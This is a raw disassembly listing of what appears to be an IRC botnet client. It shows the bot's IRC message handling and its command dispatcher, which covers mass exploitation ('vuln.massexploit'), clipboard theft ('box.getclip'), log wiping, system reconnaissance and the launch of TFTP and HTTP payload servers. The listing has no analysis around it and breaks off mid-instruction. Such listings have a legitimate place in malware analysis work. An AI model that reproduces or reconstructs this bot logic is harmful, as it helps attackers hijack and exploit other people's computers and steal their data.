push offset a005 ; "005" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E2DB push esi push offset a302 ; "302" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4095F4 push offset a@_6 ; "@" push dword ptr [ebp-94h] call sub_410AE0 pop ecx cmp eax, ebx pop ecx jz short loc_40962D inc eax push 9Fh push eax push dword ptr [ebp+24h] call sub_411D00 add esp, 0Ch jmp short loc_40962D ; --------------------------------------------------------------------------- loc_4095F4: ; CODE XREF: seg000:004095C8j push esi push offset a433 ; "433" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_409634 push ebx push ds:dword_45ED3C push ds:dword_423014 push dword ptr [ebp+18h] call sub_40FA4E push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 add esp, 1Ch loc_40962D: ; CODE XREF: seg000:00409568j ; seg000:00409584j ... mov eax, edi jmp loc_40980E ; --------------------------------------------------------------------------- loc_409634: ; CODE XREF: seg000:00409603j mov esi, [ebp+20h] mov dword ptr [ebp-0A4h], 2 mov edi, 80h loc_409646: ; CODE XREF: seg000:0040966Bj lea eax, [ebp-0A94h] push eax push esi call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_409663 mov dword ptr [ebp-0A8h], 1 loc_409663: ; CODE XREF: seg000:00409657j add esi, edi dec dword ptr [ebp-0A4h] jnz short loc_409646 mov esi, [ebp-9Ch] push esi push offset aKick ; "KICK" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40975A mov esi, [ebp+20h] mov dword ptr [ebp+2Ch], 2 loc_409692: ; CODE XREF: seg000:0040971Fj cmp [esi], bl jz loc_40971A push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_411D00 lea eax, [ebp-0C4h] add esp, 0Ch test eax, eax jz short loc_40971A cmp [ebp-94h], ebx jz short loc_40971A push dword ptr [ebp-94h] lea eax, [ebp-0C4h] push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40971A lea eax, [ebp-0C4h] mov [esi], bl push eax lea eax, [ebp-2E4h] push offset dword_42CB38 push eax call sub_41050B lea eax, [ebp-2E4h] push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 lea eax, [ebp-2E4h] push eax call sub_407E0E add esp, 20h loc_40971A: ; CODE XREF: seg000:00409694j ; seg000:004096B4j ... add esi, edi dec dword ptr [ebp+2Ch] jnz loc_409692 push dword ptr [ebp-94h] push dword ptr [ebp+18h] call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40980B push dword ptr [ebp+14h] mov eax, [ebp+28h] push dword ptr [ebp+10h] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40974D: ; CODE XREF: seg000:0040998Cj ; seg000:00409C58j push dword ptr [ebp+0Ch] call sub_40E321 jmp loc_40DCD4 ; --------------------------------------------------------------------------- loc_40975A: ; CODE XREF: seg000:00409682j push esi push offset aNick ; "NICK" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_4098A0 mov eax, [ebp-98h] mov esi, [ebp+20h] inc eax mov dword ptr [ebp+8], 2 mov [ebp+2Ch], eax loc_409783: ; CODE XREF: seg000:004097D5j lea eax, [ebp-0A94h] push eax push esi call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4097D0 lea eax, [ebp-0A94h] push 21h push eax call sub_412760 pop ecx cmp eax, ebx pop ecx mov [ebp+24h], eax jz short loc_4097D0 push dword ptr [ebp+2Ch] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_411B70 push dword ptr [ebp+24h] push edi call sub_411B80 add esp, 10h mov edi, 80h loc_4097D0: ; CODE XREF: seg000:00409794j ; seg000:004097ABj add esi, edi dec dword ptr [ebp+8] jnz short loc_409783 lea eax, [ebp-0C4h] test eax, eax jz short loc_40980B cmp [ebp+2Ch], ebx jz short loc_40980B push dword ptr [ebp+18h] lea eax, [ebp-0C4h] push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_409813 push 0Fh push dword ptr [ebp+2Ch] push dword ptr [ebp+18h] call sub_411D00 add esp, 0Ch loc_40980B: ; CODE XREF: seg000:004093EBj ; seg000:00409481j ... push 1 loc_40980D: ; CODE XREF: seg000:0040DF9Ej pop eax loc_40980E: ; CODE XREF: seg000:0040962Fj ; seg000:0040C68Fj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409813: ; CODE XREF: seg000:004097F9j mov edi, [ebp+20h] xor esi, esi loc_409818: ; CODE XREF: seg000:00409839j cmp [edi], bl jz short loc_40982F lea eax, [ebp-0A94h] push eax push edi call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40983D loc_40982F: ; CODE XREF: seg000:0040981Aj inc esi add edi, 80h cmp esi, 2 jl short loc_409818 jmp short loc_40980B ; --------------------------------------------------------------------------- loc_40983D: ; CODE XREF: seg000:0040982Dj lea eax, [ebp-0A94h] push 21h push eax call sub_412760 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz short loc_40980B push eax call sub_410B60 push dword ptr [ebp+2Ch] mov edi, eax call sub_410B60 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_40980B push dword ptr [ebp+8] shl esi, 7 push dword ptr [ebp+2Ch] add esi, [ebp+20h] push offset aSS_0 ; ":%s%s" push esi call sub_41050B push ebx lea eax, [ebp-4C8h] push ebx push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 24h jmp loc_40980B ; --------------------------------------------------------------------------- loc_4098A0: ; CODE XREF: seg000:00409769j push esi push offset aPart ; "PART" call sub_410930 pop ecx test eax, eax pop ecx jz short loc_4098C2 push esi push offset aQuit ; "QUIT" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4098E9 loc_4098C2: ; CODE XREF: seg000:004098AFj mov edi, [ebp+20h] xor esi, esi loc_4098C7: ; CODE XREF: seg000:004098E7j cmp [edi], bl jz short loc_4098DD push dword ptr [ebp-0A0h] push edi call sub_410930 pop ecx test eax, eax pop ecx jz short loc_409930 loc_4098DD: ; CODE XREF: seg000:004098C9j inc esi add edi, 80h cmp esi, 2 jl short loc_4098C7 loc_4098E9: ; CODE XREF: seg000:004098C0j push dword ptr [ebp-9Ch] push offset a353 ; "353" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_409991 push dword ptr [ebp-90h] push dword ptr [ebp+10h] call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_409920 mov eax, [ebp+28h] mov dword ptr [eax], 1 loc_409920: ; CODE XREF: seg000:00409915j push dword ptr [ebp-90h] push offset dword_42CAD8 jmp loc_40E2CF ; --------------------------------------------------------------------------- loc_409930: ; CODE XREF: seg000:004098DBj mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax lea eax, [ebp-2E4h] push offset dword_42CAA4 push eax call sub_41050B lea eax, [ebp-2E4h] push eax call sub_407E0E push dword ptr [ebp-9Ch] push offset aPart ; "PART" call sub_410930 add esp, 18h test eax, eax jnz loc_40980B lea eax, [ebp-2E4h] push eax mov eax, [ebp-0A0h] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40974D ; --------------------------------------------------------------------------- loc_409991: ; CODE XREF: seg000:004098FDj push dword ptr [ebp-9Ch] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_410930 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_4099E5 push dword ptr [ebp-9Ch] push edi call sub_410930 pop ecx test eax, eax pop ecx jz short loc_4099E5 push dword ptr [ebp-9Ch] push offset a332 ; "332" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40E148 cmp ds:dword_423004, ebx jz loc_40E148 loc_4099E5: ; CODE XREF: seg000:004099ABj ; seg000:004099BDj push dword ptr [ebp-9Ch] push esi call sub_410930 pop ecx test eax, eax pop ecx jz loc_409AEB push dword ptr [ebp-9Ch] push edi call sub_410930 pop ecx test eax, eax pop ecx jz loc_409AEB mov eax, [ebp-94h] inc dword ptr [ebp-90h] push 4 mov [ebp-98h], eax pop esi mov [ebp-0ACh], esi loc_409A2C: ; CODE XREF: seg000:00409BA7j ; seg000:00409C2Dj ... shl esi, 2 mov ecx, [ebp+esi-0A0h] lea eax, [ebp+esi-0A0h] lea edi, [ecx+1] mov [eax], edi mov al, [ecx] cmp al, ds:byte_42300C mov [ebp+14h], edi jnz loc_40980B push edi push offset aNewshit0 ; "newshit0" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E150 push edi push offset dword_42CA80 call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E150 cmp [ebp-0A8h], ebx jnz short loc_409A9F push dword ptr [ebp-9Ch] push offset a332 ; "332" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40E148 loc_409A9F: ; CODE XREF: seg000:00409A83j cmp [ebp+30h], ebx jnz loc_40E148 cmp ds:dword_42561C, ebx mov [ebp+10h], ebx jle loc_409DB3 mov dword ptr [ebp+28h], offset dword_434B58 loc_409ABE: ; CODE XREF: seg000:00409AE4j push edi push dword ptr [ebp+28h] call sub_410930 pop ecx test eax, eax pop ecx jz loc_409C5D inc dword ptr [ebp+10h] add dword ptr [ebp+28h], 0B8h mov eax, [ebp+10h] cmp eax, ds:dword_42561C jl short loc_409ABE jmp loc_409DB3 ; --------------------------------------------------------------------------- loc_409AEB: ; CODE XREF: seg000:004099F5j ; seg000:00409A0Bj push dword ptr [ebp-9Ch] push edi call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_409B04 mov dword ptr [ebp-4], 1 loc_409B04: ; CODE XREF: seg000:00409AFBj cmp [ebp-98h], ebx jz loc_40980B push (offset loc_41F1BB+1) push dword ptr [ebp-98h] call sub_410AE0 pop ecx test eax, eax pop ecx jz short loc_409B2B cmp [ebp-4], ebx jz short loc_409B37 loc_409B2B: ; CODE XREF: seg000:00409B24j lea eax, [ebp-0C4h] mov [ebp-98h], eax loc_409B37: ; CODE XREF: seg000:00409B29j cmp [ebp-94h], ebx jz loc_40980B inc dword ptr [ebp-94h] jz short loc_409B83 cmp [ebp+18h], ebx jz short loc_409B83 lea eax, [ebp-464h] push eax call sub_410B60 push eax lea eax, [ebp-464h] push dword ptr [ebp-94h] push eax call sub_411E90 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp-0ACh], esi jmp short loc_409B89 ; --------------------------------------------------------------------------- loc_409B83: ; CODE XREF: seg000:00409B49j ; seg000:00409B4Ej mov esi, [ebp-0ACh] loc_409B89: ; CODE XREF: seg000:00409B81j mov edi, [ebp+esi*4-0A0h] cmp edi, ebx jz loc_40980B push edi push offset dword_42CA74 call sub_410930 pop ecx test eax, eax pop ecx jnz loc_409A2C mov ecx, [ebp-98h] cmp byte ptr [ecx], 23h jz short loc_409C1E mov eax, ds:dword_45ED4C mov eax, ds:off_4230DC[eax*4] cmp [eax], bl jz short loc_409C1E push eax push ecx push offset dword_42CA58 push dword ptr [ebp+0Ch] call sub_40E321 lea eax, [ebp-0C4h] push eax lea eax, [ebp-2E4h] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_41050B lea eax, [ebp-2E4h] push eax call sub_407E0E add esp, 20h cmp [ebp-0A8h], ebx jnz loc_40980B push ebx lea eax, [ebp-2E4h] push 1 push eax push offset dword_45EC54 jmp loc_40DB22 ; --------------------------------------------------------------------------- loc_409C1E: ; CODE XREF: seg000:00409BB6j ; seg000:00409BC6j push edi push offset dword_42CA34 call sub_410930 pop ecx test eax, eax pop ecx jnz loc_409A2C mov eax, [ebp+esi*4-9Ch] cmp eax, ebx jz loc_409A2C mov ecx, [ebp-98h] cmp byte ptr [ecx], 23h jz loc_409A2C push eax push ecx push offset dword_42CA1C jmp loc_40974D ; --------------------------------------------------------------------------- loc_409C5D: ; CODE XREF: seg000:00409ACBj push offset asc_42CBAC ; " :" push dword ptr [ebp+8] call sub_410AE0 pop ecx cmp eax, ebx pop ecx jz loc_40980B mov edi, [ebp+10h] mov cl, ds:byte_42300C imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_42300C mov [eax+3], cl lea ecx, dword_434B70[edi] push 9Fh add eax, 4 push ecx push eax call sub_411D00 lea eax, [ebp+esi-60h] add esp, 0Ch mov dword ptr [ebp+10h], 0Fh mov [ebp+28h], eax loc_409CB5: ; CODE XREF: seg000:00409D4Ej push dword ptr [ebp+10h] lea eax, [ebp-20h] push offset aD_1 ; "$%d-" push eax call sub_41050B lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_410AE0 add esp, 14h test eax, eax jz short loc_409D18 mov eax, [ebp+28h] cmp [eax], ebx jz short loc_409D18 lea eax, dword_434B58[edi] push eax call sub_410B60 add [ebp-0Ch], eax pop ecx jz short loc_409D44 mov eax, [ebp+28h] push dword ptr [eax-4] push dword ptr [ebp-0Ch] call sub_410AE0 pop ecx cmp eax, ebx pop ecx jz short loc_409D44 push eax lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_406C6E add esp, 0Ch jmp short loc_409D44 ; --------------------------------------------------------------------------- loc_409D18: ; CODE XREF: seg000:00409CD7j ; seg000:00409CDEj mov eax, [ebp+28h] cmp [eax], ebx jnz short loc_409D44 lea eax, [ebp-20h] push 2 push eax lea eax, [ebp-14h] push eax call sub_411D00 lea eax, [ebp-14h] mov [ebp-12h], bl push eax lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_406C6E add esp, 18h loc_409D44: ; CODE XREF: seg000:00409CF0j ; seg000:00409D04j ... dec dword ptr [ebp+10h] sub dword ptr [ebp+28h], 4 cmp [ebp+10h], ebx jg loc_409CB5 lea eax, [ebp+esi-60h] mov dword ptr [ebp+10h], 10h mov edi, eax loc_409D61: ; CODE XREF: seg000:00409DA4j push dword ptr [ebp+10h] lea eax, [ebp-20h] push offset aD_0 ; "$%d" push eax call sub_41050B lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_410AE0 add esp, 14h test eax, eax jz short loc_409D9B mov eax, [edi] cmp eax, ebx jz short loc_409D9B push eax lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_406C6E add esp, 0Ch loc_409D9B: ; CODE XREF: seg000:00409D83j ; seg000:00409D89j dec dword ptr [ebp+10h] sub edi, 4 cmp [ebp+10h], ebx jg short loc_409D61 mov edi, [ebp+14h] mov dword ptr [ebp-0C8h], 1 loc_409DB3: ; CODE XREF: seg000:00409AB1j ; seg000:00409AE6j mov al, [edi] cmp al, ds:byte_42300C jz short loc_409DC9 cmp [ebp-0C8h], ebx jz loc_409F8A loc_409DC9: ; CODE XREF: seg000:00409DBBj push dword ptr [ebp+18h] mov edi, [ebp+8] push offset aMe_0 ; "$me" push edi call sub_406C6E lea eax, [ebp-0C4h] push eax push offset aUser_2 ; "$user" push edi call sub_406C6E push dword ptr [ebp-98h] push offset aChan ; "$chan" push edi call sub_406C6E push ebx push ebx lea eax, [ebp-20h] push 2 push eax call sub_40FA4E push eax push offset aRndnick ; "$rndnick" push edi call sub_406C6E add esp, 40h push dword ptr [ebp+1Ch] push offset aServer_2 ; "$server" push edi call sub_406C6E mov edi, offset aChr ; "$chr(" push edi push dword ptr [ebp+8] call sub_410AE0 add esp, 14h loc_409E38: ; CODE XREF: seg000:00409F03j test eax, eax jz loc_409F08 push edi push dword ptr [ebp+8] call sub_410AE0 mov [ebp+18h], eax add eax, 5 push 4 push eax lea eax, [ebp-20h] push eax call sub_411D00 lea eax, [ebp-20h] push offset asc_42C9DC ; ")" push eax call sub_411C60 add esp, 1Ch cmp byte ptr [ebp-20h], 30h jl short loc_409E78 cmp byte ptr [ebp-20h], 39h jle short loc_409E8B loc_409E78: ; CODE XREF: seg000:00409E70j push 3 lea eax, [ebp-20h] push offset a63 ; "63" push eax call sub_411D00 add esp, 0Ch loc_409E8B: ; CODE XREF: seg000:00409E76j lea eax, [ebp-20h] push eax call sub_410A7F test eax, eax pop ecx jle short loc_409EA8 lea eax, [ebp-20h] push eax call sub_410A7F pop ecx mov [ebp-14h], al jmp short loc_409EB9 ; --------------------------------------------------------------------------- loc_409EA8: ; CODE XREF: seg000:00409E97j call sub_410567 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp-14h], dl loc_409EB9: ; CODE XREF: seg000:00409EA6j lea eax, [ebp-20h] mov [ebp-13h], bl push eax call sub_410B60 mov [ebp+10h], eax push 0Ch lea eax, [ebp-20h] push ebx push eax call sub_410590 mov eax, [ebp+10h] add eax, 6 push eax lea eax, [ebp-20h] push dword ptr [ebp+18h] push eax call sub_411D00 lea eax, [ebp-14h] push eax lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_406C6E push edi push dword ptr [ebp+8] call sub_410AE0 add esp, 30h jmp loc_409E38 ; --------------------------------------------------------------------------- loc_409F08: ; CODE XREF: seg000:00409E3Aj mov edi, 1FFh lea eax, [ebp-0F9Ch] push edi push dword ptr [ebp+8] push eax call sub_411D00 lea eax, [ebp-0F9Ch] push edi push eax lea eax, [ebp-119Ch] push eax call sub_411D00 lea eax, [ebp-119Ch] push offset asc_41F6B0 ; " " push eax call sub_411C60 add esp, 20h mov [ebp-0A0h], eax lea edi, [ebp-9Ch] mov dword ptr [ebp+18h], 1Fh loc_409F58: ; CODE XREF: seg000:00409F6Dj push offset asc_41F6B0 ; " " push ebx call sub_411C60 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp+18h] pop ecx jnz short loc_409F58 mov ecx, [ebp+esi-0A0h] lea eax, [ebp+esi-0A0h] cmp ecx, ebx jz loc_40980B add ecx, 3 mov [eax], ecx loc_409F8A: ; CODE XREF: seg000:00409DC3j mov edi, [ebp+esi-0A0h] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+18h], edi call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E0FB push edi push offset aEnz_rn ; "enz.rn" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E0FB push edi push offset aEnz_endsess ; "enz.endsess" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E0D9 push edi push offset aEnz_d ; "enz.d" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E0D9 push edi push offset aEnz_logout ; "enz.logout" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E02E push edi push offset aEnz_lo ; "enz.lo" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E02E push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A03B push dword ptr [ebp+esi-9Ch] push 6 push offset aServer ; "Server" push offset dword_42C970 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A03B: ; CODE XREF: seg000:0040A021j push edi push offset dword_42C960 call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A064 push dword ptr [ebp+esi-9Ch] push 3 push offset aServer ; "Server" push offset dword_42C954 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A064: ; CODE XREF: seg000:0040A04Aj push edi push offset dword_42C94C call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A08D push dword ptr [ebp+esi-9Ch] push 1Ch push offset dword_42C940 push offset dword_42C934 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A08D: ; CODE XREF: seg000:0040A073j push edi push offset aServer_redirec ; "server.redirect.off" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A0B6 push dword ptr [ebp+esi-9Ch] push 10h push offset dword_42C910 push offset dword_42C900 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A0B6: ; CODE XREF: seg000:0040A09Cj push edi push offset dword_42C8F4 call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A0DF push dword ptr [ebp+esi-9Ch] push 0Ah push offset dword_42C8E8 push offset dword_42C8DC jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A0DF: ; CODE XREF: seg000:0040A0C5j push edi push offset dword_42C8CC call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A108 push dword ptr [ebp+esi-9Ch] push 0Bh push offset dword_42C8C0 push offset dword_42C8B4 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A108: ; CODE XREF: seg000:0040A0EEj push edi push offset dword_42C8A4 call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A131 push dword ptr [ebp+esi-9Ch] push 0Fh push offset dword_42C898 push offset dword_42C88C jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A131: ; CODE XREF: seg000:0040A117j push edi push offset dword_42C87C call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A15A push dword ptr [ebp+esi-9Ch] push 0Eh push offset dword_42C870 push offset dword_42C864 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A15A: ; CODE XREF: seg000:0040A140j push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A183 push dword ptr [ebp+esi-9Ch] push 4 push offset aServer ; "Server" push offset dword_42C848 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A183: ; CODE XREF: seg000:0040A169j push edi push offset aBox_procs_off ; "box.procs.off" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFFF push edi push offset aBox_ps_off ; "box.ps.off" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFFF push edi push offset aClone_off ; "clone.off" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A1D6 push dword ptr [ebp+esi-9Ch] push 17h push offset aClone ; "Clone" push offset dword_42C808 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A1D6: ; CODE XREF: seg000:0040A1BCj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A1FF push dword ptr [ebp+esi-9Ch] push 19h push offset aSecure ; "Secure" push offset dword_42C7E0 jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A1FF: ; CODE XREF: seg000:0040A1E5j push edi push offset aVuln_stop ; "vuln.stop" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A228 push dword ptr [ebp+esi-9Ch] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40E012 ; --------------------------------------------------------------------------- loc_40A228: ; CODE XREF: seg000:0040A20Ej push edi push offset aVuln_stats ; "vuln.stats" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFE6 push edi push offset aVuln_st ; "vuln.st" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFE6 push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFC5 push edi push offset aEnz_rh4 ; "enz.rh4" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFC5 push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFA3 push edi push offset aEnz_et3 ; "enz.et3" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DFA3 push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DF5B push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DF5B push edi push offset aEnz_status ; "enz.status" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DF1D push edi push offset aEnz_s ; "enz.s" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DF1D push edi push offset aEnz_id ; "enz.id" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DEE6 push edi push offset aEnz_i ; "enz.i" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DEE6 push edi push offset aBox_rebewt ; "box.rebewt" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A376 call sub_4070B7 test eax, eax mov eax, offset dword_42C704 jnz short loc_40A348 mov eax, offset dword_42C6CC loc_40A348: ; CODE XREF: seg000:0040A341j push eax lea eax, [ebp-2E4h] push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 1Ch jmp loc_40C67D ; --------------------------------------------------------------------------- loc_40A376: ; CODE XREF: seg000:0040A333j push edi push offset aThreads_list ; "threads.list" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DDEF push edi push offset aThreads_l ; "threads.l" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DDEF push edi push offset aEnz_aliases ; "enz.aliases" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DDCC push edi push offset aEnz_al ; "enz.al" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DDCC push edi push offset aEnz_log ; "enz.log" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DCDC push edi push offset aEnz_lg ; "enz.lg" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DCDC push edi push offset aUtil_clearlog ; "util.clearlog" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DCC0 push edi push offset aUtil_clg ; "util.clg" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DCC0 push edi push offset aBox_netinfo ; "box.netinfo" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DC86 push edi push offset aBox_ni ; "box.ni" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DC86 push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DC5B push edi push offset aBox_si ; "box.si" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DC5B push edi push offset aEnz_be010ne ; "enz.be010ne" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DC21 push edi push offset aEnz_010 ; "enz.010" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DC21 push edi push offset aBox_procs ; "box.procs" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DAFE push edi push offset aBox_ps ; "box.ps" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DAFE push edi push offset aBox_uptime ; "box.uptime" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA77 push edi push offset aBox_up ; "box.up" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA77 push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA5A push edi push offset aBox_drv ; "box.drv" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA5A push edi push offset aBox_testdlls ; "box.testdlls" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA41 push edi push offset aBox_dll ; "box.dll" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA41 push edi push offset aEnz_who ; "enz.who" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40A5CB cmp [ebp-8], ebx jnz short loc_40A574 push ebx push dword ptr [ebp-4] push offset aLoginList ; "-[Login List]-" push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40A574: ; CODE XREF: seg000:0040A558j mov edi, [ebp+20h] xor esi, esi loc_40A579: ; CODE XREF: seg000:0040A5BFj cmp [edi], bl lea eax, [edi+1] jnz short loc_40A585 mov eax, offset aEmpty ; "<Empty>" loc_40A585: ; CODE XREF: seg000:0040A57Ej push eax push esi lea eax, [ebp-2E4h] push offset aD_S ; "%d. %s" push eax call sub_41050B push 1 lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40A579 push offset dword_42C580 jmp loc_40DEDB ; --------------------------------------------------------------------------- loc_40A5CB: ; CODE XREF: seg000:0040A553j push edi push offset aBox_getclip ; "box.getclip" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA00 push edi push offset aBox_gc ; "box.gc" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40DA00 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D9D5 push edi push offset aUtil_farp ; "util.farp" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D9D5 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D9B1 push edi push offset aUtil_fdns ; "util.fdns" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D9B1 push edi push offset aVuln_currentip ; "vuln.currentip" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D977 push edi push offset aVuln_cip ; "vuln.cip" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D977 push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D7DD push edi push offset aServer_web_on ; "server.web.on" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D7DD push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D691 push edi push offset aServer_tf_on ; "server.tf.on" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D691 push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D384 push edi push offset aVall ; "vall" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D384 mov edi, [ebp+esi-9Ch] cmp edi, ebx jz loc_40980B push dword ptr [ebp+18h] push offset aEnz_nick ; "enz.nick" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D363 push dword ptr [ebp+18h] push offset aEnz_n ; "enz.n" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D363 push dword ptr [ebp+18h] push offset aEnz_join ; "enz.join" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D343 push dword 